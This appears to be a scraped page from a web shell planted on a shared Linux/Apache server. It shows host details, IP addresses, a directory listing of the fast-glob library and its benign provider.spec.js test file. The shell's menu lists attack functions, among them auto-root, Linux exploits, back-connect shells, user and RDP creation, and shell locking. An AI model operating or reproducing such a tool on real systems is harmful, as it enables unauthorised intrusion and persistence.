Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
fast-glob /
out /
providers /
[ HOME SHELL ]
Name
Size
Permission
Action
filters
[ DIR ]
drwxr-xr-x
matchers
[ DIR ]
drwxr-xr-x
transformers
[ DIR ]
drwxr-xr-x
async.d.ts
470
B
-rw-r--r--
async.js
1013
B
-rw-r--r--
async.spec.d.ts
11
B
-rw-r--r--
async.spec.js
2.86
KB
-rw-r--r--
provider.d.ts
817
B
-rw-r--r--
provider.js
1.95
KB
-rw-r--r--
provider.spec.d.ts
474
B
-rw-r--r--
provider.spec.js
3.74
KB
-rw-r--r--
stream.d.ts
436
B
-rw-r--r--
stream.js
1.17
KB
-rw-r--r--
stream.spec.d.ts
11
B
-rw-r--r--
stream.spec.js
3.64
KB
-rw-r--r--
sync.d.ts
385
B
-rw-r--r--
sync.js
779
B
-rw-r--r--
sync.spec.d.ts
11
B
-rw-r--r--
sync.spec.js
2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : provider.spec.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.getProvider = exports.TestProvider = void 0; const assert = require("assert"); const path = require("path"); const settings_1 = require("../settings"); const tests = require("../tests"); const provider_1 = require("./provider"); class TestProvider extends provider_1.default { read() { return []; } getRootDirectory(task) { return this._getRootDirectory(task); } getReaderOptions(task) { return this._getReaderOptions(task); } getMicromatchOptions() { return this._getMicromatchOptions(); } } exports.TestProvider = TestProvider; function getProvider(options) { const settings = new settings_1.default(options); return new TestProvider(settings); } exports.getProvider = getProvider; describe('Providers → Provider', () => { describe('Constructor', () => { it('should create instance of class', () => { const provider = getProvider(); assert.ok(provider instanceof provider_1.default); }); }); describe('.getRootDirectory', () => { it('should return root directory for reader with global base (.)', () => { const provider = getProvider(); const task = tests.task.builder().base('.').build(); const expected = process.cwd(); const actual = provider.getRootDirectory(task); assert.strictEqual(actual, expected); }); it('should return root directory for reader with non-global base (fixtures)', () => { const provider = getProvider(); const task = tests.task.builder().base('root').build(); const expected = path.join(process.cwd(), 'root'); const actual = provider.getRootDirectory(task); assert.strictEqual(actual, expected); }); }); describe('.getReaderOptions', () => { it('should return options for reader with global base (.)', () => { const settings = new settings_1.default(); const provider = getProvider(settings); const task = tests.task.builder().base('.').positive('*').build(); const actual = provider.getReaderOptions(task); assert.strictEqual(actual.basePath, ''); assert.strictEqual(actual.concurrency, settings.concurrency); assert.strictEqual(typeof actual.deepFilter, 'function'); assert.strictEqual(typeof actual.entryFilter, 'function'); assert.strictEqual(typeof actual.errorFilter, 'function'); assert.ok(actual.followSymbolicLinks); assert.strictEqual(typeof actual.fs, 'object'); assert.ok(!actual.stats); assert.ok(actual.throwErrorOnBrokenSymbolicLink === false); assert.strictEqual(typeof actual.transform, 'function'); }); it('should return options for reader with non-global base', () => { const provider = getProvider(); const task = tests.task.builder().base('root').positive('*').build(); const actual = provider.getReaderOptions(task); assert.strictEqual(actual.basePath, 'root'); }); }); describe('.getMicromatchOptions', () => { it('should return options for micromatch', () => { const provider = getProvider(); const expected = { dot: false, matchBase: false, nobrace: false, nocase: false, noext: false, noglobstar: false, posix: true, strictSlashes: false }; const actual = provider.getMicromatchOptions(); assert.deepStrictEqual(actual, expected); }); }); });
Close